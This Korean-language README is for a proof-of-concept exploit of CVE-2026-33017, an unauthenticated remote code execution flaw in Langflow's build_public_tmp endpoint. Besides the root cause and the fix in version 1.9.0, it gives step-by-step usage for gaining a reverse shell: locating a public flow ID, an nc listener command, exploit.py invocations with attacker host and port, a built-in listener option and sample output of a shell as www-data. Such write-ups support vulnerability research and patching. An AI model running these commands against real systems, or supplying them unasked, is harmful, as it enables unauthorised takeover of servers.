
CVE-2026-33017에 대한 PoC 익스플로잇: 악성 Python Custom Component 주입을 통한 Langflow의 인증되지 않은 원격 코드 실행, 내장 리버스 셸 리스너 포함.
작성자: dynamo2k1
심각도: 치명적
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017는 Langflow에서 발견된 인증되지 않은 원격 코드 실행 취약점입니다. Langflow는 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구축하기 위한 오픈 소스 플랫폼입니다.
취약한 엔드포인트 build_public_tmp는 요청 본문에서 인증 없이 공격자가 제공한 data 필드를 허용합니다. 이를 통해 공격자는 악성 Python 사용자 정의 컴포넌트를 포함한 완전히 사용자 정의된 플로우 정의를 삽입할 수 있으며, 해당 컴포넌트의 코드는 빌드 과정 중 서버에서 실행됩니다.
자격 증명이 필요하지 않습니다. 유효한 Public 플로우 UUID만 있으면 됩니다.
| 상태 | 버전 |
|---|---|
| 취약 | Langflow < 1.9.0 |
| 패치됨 | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
이 엔드포인트는 인증 없이 Public(공유) 플로우를 빌드하도록 설계되었습니다. 취약한 버전에서는 요청 본문에 공격자가 제어하는 data 필드도 허용하며, 이는 서버 측 빌드 로직에 직접 전달됩니다. 여기에는 Custom Components에 포함된 모든 Python 코드가 포함됩니다.
pip install requests urllib3
대상 Langflow 인스턴스를 탐색하고 공유/공개 플로우를 찾습니다. UUID는 URL에 나타납니다:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
또는 내장된 대화형 리스너를 사용하세요 (별도의 nc 필요 없음):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
근본 원인: build_public_tmp는 서버에 저장된 플로우 정의만 사용하는 대신 요청 본문의 data 필드를 신뢰했습니다.
패치: Langflow 1.9.0에서 data 매개변수가 build_public_tmp에서 제거되었습니다. 이 엔드포인트를 통해 외부 플로우 정의를 더 이상 주입할 수 없습니다.
패치 커밋: 73b6612
이 PoC는 교육 및 허가된 보안 연구 목적으로만 제공됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오.
| 플래그 | 설명 |
|---|
--url | 대상 Langflow 기본 URL |
--flow-id | Public 플로우 UUID |
--lhost | 리버스 셸 콜백을 위한 IP 주소 |
--lport | 리스너 포트 |
--listen | 외부 nc 대신 내장 셸 핸들러 사용 |
--timeout | HTTP 요청 시간 초과(초 단위, 기본값: 30) |